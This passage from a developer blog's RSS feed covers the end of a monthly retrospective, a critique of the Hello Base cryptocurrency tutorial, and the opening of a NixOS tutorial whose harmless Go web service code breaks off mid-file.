 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/12/just-editor_hu_a76dee6193d14425.webp 300w, https://mtlynch.io/retrospectives/2024/12/just-editor_hu_7c5712d8036127e0.webp 600w, https://mtlynch.io/retrospectives/2024/12/just-editor_hu_6fb9590b12eabe04.webp 800w, https://mtlynch.io/retrospectives/2024/12/just-editor.webp 999w'
 src="https://mtlynch.io/retrospectives/2024/12/just-editor.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>VS Code with side panels open (left) vs. only the editor open (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I also didn&amp;rsquo;t think I&amp;rsquo;d care about the sharpness of OLED vs. LED, but I do appreciate the difference. The blacks are blacker, which makes the image feel more crisp.&lt;/p>
&lt;p>Similarly, I didn&amp;rsquo;t think I&amp;rsquo;d care about refresh rate, but I do notice a difference in 60 Hz vs. 120 Hz. The monitor supports 240 Hz, but Windows doesn&amp;rsquo;t show me that option for some reason, so I&amp;rsquo;ll try tinkering when I switch to NixOS.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Cleaned up a lot of my blog&amp;rsquo;s templating and CSS code and reorganized &lt;a href="https://mtlynch.io/">the homepage&lt;/a>.&lt;/li>
&lt;li>Selected and ordered components for a new main desktop workstation.&lt;/li>
&lt;li>Worked on design elements for &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Published a quick tutorial on &lt;a href="https://mtlynch.io/notes/simple-go-web-service-nixos/">how to run simple services on NixOS&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Workflows that let you apply custom patches to other projects provide a pleasant sense of freedom.
&lt;ul>
&lt;li>You get to do whatever you want because the changes only affect you. And if you have a workflow that makes patching easy, you don&amp;rsquo;t feel the burden of building a special version of the code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Finish two chapters of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Work with a designer to complete the cover design for &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Feedback about Hello Base</title><link>https://mtlynch.io/notes/hello-base/</link><pubDate>Thu, 05 Dec 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/hello-base/</guid><description>&lt;h2 id="the-cryptocurrency-language-barrier">The cryptocurrency language barrier&lt;/h2>
&lt;p>There&amp;rsquo;s an unforunate language barrier among technologists right now.&lt;/p>
&lt;p>Cryptocurrency enthusiasts are excited about the ecosystem and what&amp;rsquo;s going on in crypto-world right now. They&amp;rsquo;re trying to bring new people in, but they&amp;rsquo;re often so entrenched in their crypto bubble that they struggle to explain any crypto stuff to non-crypto people.&lt;/p>
&lt;p>I feel like I&amp;rsquo;m a good candidate to bridge the language gap, as I understand the fundamentals of cryptocurrency but I haven&amp;rsquo;t been following any crypto stuff closely for about seven years.&lt;/p></description><content:encoded>&lt;h2 id="the-cryptocurrency-language-barrier">The cryptocurrency language barrier&lt;/h2>
&lt;p>There&amp;rsquo;s an unforunate language barrier among technologists right now.&lt;/p>
&lt;p>Cryptocurrency enthusiasts are excited about the ecosystem and what&amp;rsquo;s going on in crypto-world right now. They&amp;rsquo;re trying to bring new people in, but they&amp;rsquo;re often so entrenched in their crypto bubble that they struggle to explain any crypto stuff to non-crypto people.&lt;/p>
&lt;p>I feel like I&amp;rsquo;m a good candidate to bridge the language gap, as I understand the fundamentals of cryptocurrency but I haven&amp;rsquo;t been following any crypto stuff closely for about seven years.&lt;/p>
&lt;h2 id="base-is-supposed-to-be-the-bridge">Base is supposed to be the bridge&lt;/h2>
&lt;p>A year ago, I listened to &lt;a href="https://www.intothebytecode.com/jesse-pollak/">an interview with Jesse Pollak on an episode of &lt;em>Into the Bytecode&lt;/em>&lt;/a>. He was excited about this new technology Coinbase was working on called &lt;a href="https://base.org">Base&lt;/a>.&lt;/p>
&lt;p>Base is supposed to appeal to developers who are new to the cryptocurrency world and make it easy for them to start building within that ecosystem.&lt;/p>
&lt;p>I started exploring Base, and I found that &lt;a href="https://mtlynch.io/notes/im-still-confused-about-base/">it suffers from the same language barriers as most other cryptocurrency projects&lt;/a>. I found the official documentation hard to follow, and it seemed to assume the reader had a deep understanding of the Ethereum blockchain.&lt;/p>
&lt;p>Jesse Pollak has responded to my feedback a &lt;a href="https://twitter.com/jessepollak/status/1823035258306277595">few&lt;/a> &lt;a href="https://twitter.com/jessepollak/status/1832504751038329300">times&lt;/a> to say it&amp;rsquo;s helpful in understanding the non-crypto perspective, but then he continues doing exactly what he&amp;rsquo;d been doing before, so I lost interest in giving him feedback.&lt;/p>
&lt;h2 id="im-summoned-once-again">I&amp;rsquo;m summoned once again&lt;/h2>
&lt;p>This week, &lt;a href="https://twitter.com/stevedylandev">Steve Simkins&lt;/a> &lt;a href="https://twitter.com/stevedylandev/status/1864392117281239077">tagged me on Twitter&lt;/a> to share an intro to Base that he&amp;rsquo;d made:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.hellobase.dev/">Hello Base&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m going to take another crack at Base and share my thoughts as a non-crypto insider about how the messaging looks.&lt;/p>
&lt;h2 id="what-i-like-about-hello-base">What I like about Hello Base&lt;/h2>
&lt;h3 id="provides-a-clear-path-forward">Provides a clear path forward&lt;/h3>
&lt;p>The official Base docs immediately present new developers with a dizzying maze of paths in their &amp;ldquo;getting started&amp;rdquo; documentation.&lt;/p>
&lt;p>Hello Base provides the reader with a clear flow from start to finish. They don&amp;rsquo;t have to pick among several paths of what to learn in order to get started. There&amp;rsquo;s a single track that eliminates any complexity of which learning path to take.&lt;/p>
&lt;h3 id="lets-you-do-the-full-tutorial-in-the-browser">Lets you do the full tutorial in the browser&lt;/h3>
&lt;p>Hello Base does a nice job of simplifying the hello world example. The reader doesn&amp;rsquo;t have to install any tools or learn a complicated tech stack. They can try everything from right within their browser.&lt;/p>
&lt;h3 id="explains-its-terminology">Explains its terminology&lt;/h3>
&lt;p>One of my critiques of the official Base intro documentation is that it casually uses a lot of insider terms that would confuse newcomers.&lt;/p>
&lt;p>Hello Base does a good job of recognizing the concepts that newcomers won&amp;rsquo;t understand and explains them up front. It provides a concise explanation of the problems that Base is trying to solve within the cryptocurrency ecosystem.&lt;/p>
&lt;h2 id="where-i-think-hello-base-could-improve">Where I think Hello Base could improve&lt;/h2>
&lt;h3 id="get-to-the-value-earlier">Get to the value earlier&lt;/h3>
&lt;p>I think Hello Base suffers from a similar issue a lot of other Base documentation does in that it assumes the reader is excited about Base.&lt;/p>
&lt;p>The reality is that 99% of readers don&amp;rsquo;t care about Base and will close the tab within a few seconds if you don&amp;rsquo;t give them a compelling reason to stay.&lt;/p>
&lt;p>The first paragraph should explain to the reader why they should care about Base and why they should continue reading.&lt;/p>
&lt;p>Here&amp;rsquo;s the first paragraph, currently:&lt;/p>
&lt;blockquote>
&lt;p>If you&amp;rsquo;re a developer and you&amp;rsquo;ve never touched a blockchain or know very little about them, you&amp;rsquo;re in the right place. In just a few short minutes you&amp;rsquo;ll learn the fundementals and see how you can start building on Base, a blockchain designed to bring the next generation of developers onchain.&lt;/p>&lt;/blockquote>
&lt;p>If I&amp;rsquo;m a non-blockchain developer and I read this, what does Base give me? Why should I learn Base as opposed to any other blockchain technology? Why should I learn Base instead of web2 technologies?&lt;/p>
&lt;p>Compare Hello Base&amp;rsquo;s intro to &lt;a href="https://rubyonrails.org/">Ruby on Rails&amp;rsquo; intro&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Compress the complexity of modern web apps.&lt;/p>
&lt;p>Learn just what you need to get started, then keep leveling up as you go. Ruby on Rails scales from HELLO WORLD to IPO.&lt;/p>&lt;/blockquote>
&lt;p>Rails&amp;rsquo; pitch is compelling. It says that it&amp;rsquo;s going to make it simple to get up and running, and I can use the same tools to reach massive scale.&lt;/p>
&lt;p>I&amp;rsquo;d love to see a Base intro that answers this question right off the bat:&lt;/p>
&lt;ul>
&lt;li>What can I do on Base today that I can&amp;rsquo;t do with any other technology?&lt;/li>
&lt;/ul>
&lt;p>Jesse Pollak has given &lt;a href="https://twitter.com/jessepollak/status/1833661719711023421">examples of apps you can build on Base&lt;/a> that, to me, feel extremely uncompelling. It&amp;rsquo;s not the easiest way to do authentication or to send payments, so we shouldn&amp;rsquo;t pretend that it is.&lt;/p>
&lt;p>If I&amp;rsquo;m a web2 developer, why should I build on Base as opposed to any other tech stack available?&lt;/p>
&lt;p>Hello Base doesn&amp;rsquo;t have to make the case that it&amp;rsquo;s the best solution for everyone. It&amp;rsquo;s fine if it&amp;rsquo;s niche right now (e.g., it&amp;rsquo;s a way for you to accept payments if you don&amp;rsquo;t have access to traditional banking), but there needs to be some compelling use case to draw people in.&lt;/p>
&lt;h3 id="trim-it-down-to-the-fun-stuff">Trim it down to the fun stuff&lt;/h3>
&lt;p>I&amp;rsquo;d love to see the tutorial get to something fun right away. I understand that Hello Base wants to explain the fundamentals, but that should come after showing the reader something cool.&lt;/p>
&lt;p>If I read a Python tutorial, it doesn&amp;rsquo;t start with an explanation of the history of typed vs. untyped languages and proceed to extoll the virtues of memory safety. It just shows me how to print &amp;ldquo;hello world.&amp;rdquo;&lt;/p>
&lt;p>The reason that &amp;ldquo;hello, world!&amp;rdquo; is the canonical programming example is because it&amp;rsquo;s on chapter 1, page 1 of &lt;em>The C Programming Language&lt;/em> by Kerninghan and Richie (K&amp;amp;R). While other programming books at the time were starting with the fundamentalls of variables and typing, K&amp;amp;R got to an example straight away.&lt;/p>
&lt;h3 id="can-we-do-better-than-hello-world">Can we do better than hello world?&lt;/h3>
&lt;p>Kind of related to the above points, I keep seeing Base / Ethereum examples that show how a more convoluted way of doing something that you could already do with web2 technologies.&lt;/p>
&lt;p>Maybe for the first example, that&amp;rsquo;s the way it has to be, but is there something cooler we can show that takes advantage of the unique properties of Base?&lt;/p>
&lt;p>If the reader isn&amp;rsquo;t excited about the idea of storing data on a blockchain for its own sake, what&amp;rsquo;s something exciting you can do easily with Base that&amp;rsquo;s either hard or impossible with web2 technologies?&lt;/p>
&lt;p>Can I put content behind a paywall without giving Gumroad a 13% cut? Can I create a simple way for fans to give me monthly donations without getting approval from Patreon?&lt;/p>
&lt;h3 id="minimize-jargon">Minimize jargon&lt;/h3>
&lt;p>Even though Hello Base explains most of the terminology, there&amp;rsquo;s still a lot that&amp;rsquo;s not actually defined (e.g., &amp;ldquo;gas&amp;rdquo;, &amp;ldquo;optimistic rollups&amp;rdquo;).&lt;/p>
&lt;p>But even if you defined everything, a reader can&amp;rsquo;t skim to get a sense of what the tutorial is about because halfway through, we&amp;rsquo;re basically speaking another language.&lt;/p>
&lt;p>Here&amp;rsquo;s an excerpt from 30% through the tutorial. I&amp;rsquo;ve bolded the terms that would be unfamiliar to a non-crypto developer:&lt;/p>
&lt;blockquote>
&lt;p>Another large benefit to these &lt;strong>rollups&lt;/strong> is they stay &lt;strong>EVM compatible&lt;/strong>, which means the code you wrote for &lt;strong>Ethereum&lt;/strong> can be &lt;strong>deployed to an L2&lt;/strong> without any extra work.&lt;/p>&lt;/blockquote>
&lt;p>Do we need these explanations at all? If I&amp;rsquo;m following a tutorial, I just want to see the technology in action. I don&amp;rsquo;t need to know the history. And I&amp;rsquo;m fine with a simplified explanation of any concepts I need to understand.&lt;/p>
&lt;h3 id="be-honest-about-the-challenges-of-base">Be honest about the challenges of Base&lt;/h3>
&lt;p>One of my biggest gripes with the messaging about Base is that they keep repeating this chant of, &amp;ldquo;It&amp;rsquo;s the easiest way for developers to build new web apps! It&amp;rsquo;s permissionless, so anyone can do it anywhere!&amp;rdquo;&lt;/p>
&lt;p>And then you try to start building and they&amp;rsquo;re like, &amp;ldquo;Oh, by the way, you need a Coinbase account*, and Coinbase is going to need to do a full body scan to verify your identity. And also, your app &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/#why-blockchain">can&amp;rsquo;t store persistent data that&amp;rsquo;s more than a few kilobytes&lt;/a> unless you do these awkward workarounds. And also, you can&amp;rsquo;t ever change your app after you deploy it unless you do &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/#diamond">these awkward workarounds&lt;/a>.&amp;rdquo;&lt;/p>
&lt;p>* I know you don&amp;rsquo;t really need a Coinbase account to use Base, but the tutorials all take that path without presenting alternatives.&lt;/p>
&lt;p>Base has some rough edges right now that make onboarding hard. I think tutorials should be honest about them rather than surprise developers halfway through or pretend the pain points aren&amp;rsquo;t there:&lt;/p>
&lt;ul>
&lt;li>You need to spend money even to experiment with Base.&lt;/li>
&lt;li>It&amp;rsquo;s a pain to get money onchain (even on testnet, since testnet faucets make you jump through hoops).&lt;/li>
&lt;li>You can&amp;rsquo;t modify apps like you normally can in web2.&lt;/li>
&lt;li>You can&amp;rsquo;t store data as simply as you can in web2.&lt;/li>
&lt;li>You seem to have to interact with a lot of disparate players just to do basic development (OnChainKit, Hardhat, Coinbase, Solidity).
&lt;ul>
&lt;li>This might not be true, but this is my perception from casual exploration so far.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="break-the-dependency-on-coinbase">Break the dependency on Coinbase&lt;/h3>
&lt;p>I&amp;rsquo;m sure there are good reasons why it has to be Coinbase, but it really drags the tutorial down if the reader has to create a Coinbase wallet.&lt;/p>
&lt;p>I actually resisted for a while to even try the tutorial because I thought I needed to do real Coinbase verification (Coinbase locked my account for strange reasons years ago).&lt;/p>
&lt;p>I was relieved to find it let me create the wallet with only a passkey, but maybe that could be clearer so the reader doesn&amp;rsquo;t think they have to go through the whole account setup process.&lt;/p>
&lt;p>But I&amp;rsquo;d love to see this friction gone entirely. I&amp;rsquo;d prefer a tutorial that&amp;rsquo;s frictionless and fake (i.e. doesn&amp;rsquo;t really publish to the blockchain) than one that makes me jump through hoops just to publish a &amp;ldquo;hello world&amp;rdquo; smart contract to the Base testnet.&lt;/p>
&lt;p>&lt;a href="https://messwithdns.net/">mess with dns&lt;/a> by &lt;a href="https://jvns.ca/">Julia Evans&lt;/a> is a great example of a tutorial that requires complicated infrastructure (a DNS server), but the author abstracted away the complicated bits so that the reader can do everything from within a single web app.&lt;/p>
&lt;h3 id="test-on-firefox">Test on Firefox&lt;/h3>
&lt;p>I was able to get through the tutorial up to &amp;ldquo;Read Contract&amp;rdquo; and then it just stopped working at &amp;ldquo;Read Contract.&amp;rdquo; I&amp;rsquo;m using Firefox on Win10:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="hello-base-broken.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>
</content:encoded></item><item><title>Run a Simple Go Web Service on NixOS</title><link>https://mtlynch.io/notes/simple-go-web-service-nixos/</link><pubDate>Mon, 02 Dec 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/simple-go-web-service-nixos/</guid><description>&lt;p>I have a few toy utility apps that I run 24/7 on cloud infrastructure. One example is &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>, a simple web app that makes it easy for me to share files with friends and teammates.&lt;/p>
&lt;p>There are several convenience apps I &lt;em>would&lt;/em> run if it were easy to run them constantly. But there&amp;rsquo;s enough friction to running even a simple app 24/7 that I don&amp;rsquo;t do it.&lt;/p>
&lt;p>In the past, I&amp;rsquo;ve tried running toy apps on my home server. I&amp;rsquo;ve set up cron jobs and systemd services, but inevitably something breaks, and I get tired of fixing it and just let the service die.&lt;/p></description><content:encoded>&lt;p>I have a few toy utility apps that I run 24/7 on cloud infrastructure. One example is &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>, a simple web app that makes it easy for me to share files with friends and teammates.&lt;/p>
&lt;p>There are several convenience apps I &lt;em>would&lt;/em> run if it were easy to run them constantly. But there&amp;rsquo;s enough friction to running even a simple app 24/7 that I don&amp;rsquo;t do it.&lt;/p>
&lt;p>In the past, I&amp;rsquo;ve tried running toy apps on my home server. I&amp;rsquo;ve set up cron jobs and systemd services, but inevitably something breaks, and I get tired of fixing it and just let the service die.&lt;/p>
&lt;p>I think I&amp;rsquo;ve finally found a low-friction way of hosting personal apps that keeps them constantly available while minimizing my overhead in maintaining them: NixOS modules.&lt;/p>
&lt;h2 id="what-my-solution-lets-me-do">What my solution lets me do&lt;/h2>
&lt;ul>
&lt;li>Given an arbitrary web service, it takes me less than 15 minutes of work to run it 24/7 on my NixOS server.&lt;/li>
&lt;li>I can upgrade/downgrade or change configuration options by changing a line of code and running a rebuild command.&lt;/li>
&lt;li>I can run apps with conflicting dependencies (e.g., Python 2 and Python 3) on the same server and never worry about version conflicts.&lt;/li>
&lt;li>Keep my entire server&amp;rsquo;s configuration under source control, so I can roll back to any state at any time.&lt;/li>
&lt;/ul>
&lt;h2 id="why-nixos">Why NixOS?&lt;/h2>
&lt;p>There are a few reasons I find NixOS useful for the task of running a set of services 24/7:&lt;/p>
&lt;ul>
&lt;li>The full system configuration is in text files.&lt;/li>
&lt;li>Rebuilding the system is relatively fast (usually seconds or minutes).&lt;/li>
&lt;li>Services on NixOS are friendly to composition (I can combine services)&lt;/li>
&lt;li>Services on NixOS are friendly to extensibility (I can adjust options or patch behavior easily).&lt;/li>
&lt;/ul>
&lt;h3 id="but-isnt-nix-complicated">But isn&amp;rsquo;t Nix complicated?&lt;/h3>
&lt;p>Yes, Nix is complicated, but it&amp;rsquo;s more approachable than you might think.&lt;/p>
&lt;p>I&amp;rsquo;ve been learning little bits of Nix over the past year, and I&amp;rsquo;ve found that you can learn useful techniques for Nix without understanding the whole thing. For example, I use Nix to &lt;a href="https://mtlynch.io/notes/nix-dev-environment/">set up per-project development environments&lt;/a>, and I didn&amp;rsquo;t have to understand a ton about Nix to make that work.&lt;/p>
&lt;p>I&amp;rsquo;d put NixOS modules at intermediate difficulty, but I think once you&amp;rsquo;ve seen an example, it&amp;rsquo;s relatively easy to replicate.&lt;/p>
&lt;h3 id="why-not-ansible">Why not Ansible?&lt;/h3>
&lt;p>I used to think Ansible was a brilliant solution for running services 24/7.&lt;/p>
&lt;p>For years, I maintained a set of VMs for various projects, and I used Ansible to configure them.&lt;/p>
&lt;p>The first problem is that Ansible is slow. Every time you add a new service to a server, it takes longer to run Ansible against it. I had not-so-complicated servers where applying configuration took 10+ minutes every time. On Nix, minor configuration changes happen in seconds, and longer ones take about 30 seconds.&lt;/p>
&lt;p>I also ran into version conflicts under Ansible. If one service depended on Python 2 and another depended on Python 3.7 and another depended on Python 3.10, they&amp;rsquo;d all break each other and try to overwrite the same files.&lt;/p>
&lt;h3 id="why-not-docker">Why not Docker?&lt;/h3>
&lt;p>I&amp;rsquo;ve tried running services under Docker, and it works okay.&lt;/p>
&lt;p>Docker is unfriendly to development. With NixOS and Ansible, you can mostly reuse the packaging code for your development work. There are ways that you can do development within a Docker container, but that&amp;rsquo;s not what Docker is designed for, so you&amp;rsquo;d be fighting the tool a bit. Instead, I always end up defining my Docker image redundantly to how I set up my development environment.&lt;/p>
&lt;p>I also find that Docker gets harder to use when you have more than one running process. For example, if you have a web app that depends on Postgres, now you have two Docker containers, and it gets a bit harder to manage.&lt;/p>
&lt;p>I&amp;rsquo;ve seen solutions like Podman, Rancher, and k3s, but I&amp;rsquo;ve never used them. They seem like too much extra complexity, but maybe they&amp;rsquo;re easier than I expect.&lt;/p>
&lt;h2 id="nixos-requirements">NixOS requirements&lt;/h2>
&lt;p>To follow along, you&amp;rsquo;ll need a NixOS system with flakes enabled. I used NixOS 24.05.&lt;/p>
&lt;p>I wrote tutorials for installing NixOS &lt;a href="https://mtlynch.io/nixos-pi4/">on a Raspberry Pi 4&lt;/a> or &lt;a href="https://mtlynch.io/notes/nixos-proxmox/">under Proxmox as a VM&lt;/a>.&lt;/p>
&lt;h2 id="a-basic-demo-microservice">A basic demo microservice&lt;/h2>
&lt;p>Okay, with the explanation out of the way, I&amp;rsquo;ll show how I created my first NixOS module and got it to run as a microservice on my home server.&lt;/p>
&lt;p>Create a file called &lt;code>main.go&lt;/code> that defines a simple Go web service:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">package&lt;/span> main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;errors&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;net&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;net/http&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;os/user&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;runtime&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;time&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">handler&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hostname, err := os.&lt;span style="color:#447fcf">Hostname&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;failed to get hostname: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> currentUser, err := user.&lt;span style="color:#447fcf">Current&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;failed to get username: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> localIP, err := &lt;span style="color:#447fcf">getLocalIP&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Fatalf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;failed to get local IP: %v&amp;#34;&lt;/span>, err)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Fprintf&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Time: %s\n&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">getFormattedTime&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Fprintf&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Hostname: %s\n&amp;#34;&lt;/span>, hostname)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Fprintf&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Username: %s\n&amp;#34;&lt;/span>, currentUser.Username)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Fprintf&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Local IP: %s\n&amp;#34;&lt;/span>, localIP.&lt;span style="color:#447fcf">String&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fmt.&lt;span style="color:#447fcf">Fprintf&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Compiled with: %s\n&amp;#34;&lt;/span>, runtime.&lt;span style="color:#447fcf">Version&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">getLocalIP&lt;/span>() (net.IP, &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> addrs, err := net.&lt;span style="color:#447fcf">InterfaceAddrs&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> net.IP{}, err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> _, addr := &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> addrs {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> ipnet, ok := addr.(*net.IPNet); ok &amp;amp;&amp;amp; !ipnet.IP.&lt;span style="color:#447fcf">IsLoopback&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> ipnet.IP.&lt;span style="color:#447fcf">To4&lt;/span>() != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> ipnet.IP, &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> net.IP{}, errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;no local IP address found&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">getFormattedTime&lt;/span>() &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> now := time.&lt;span style="color:#447fcf">Now&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> zone, _ := now.&lt;span style="color:#447fcf">Zone&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> now.&lt;span style="color:#447fcf">Format&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;2006-01-02 03:04:05 PM&amp;#34;&lt;/span>) + fmt.&lt;span style="color:#447fcf">Sprintf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34; (%s)&amp;#34;&lt;/span>, zone)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>() {
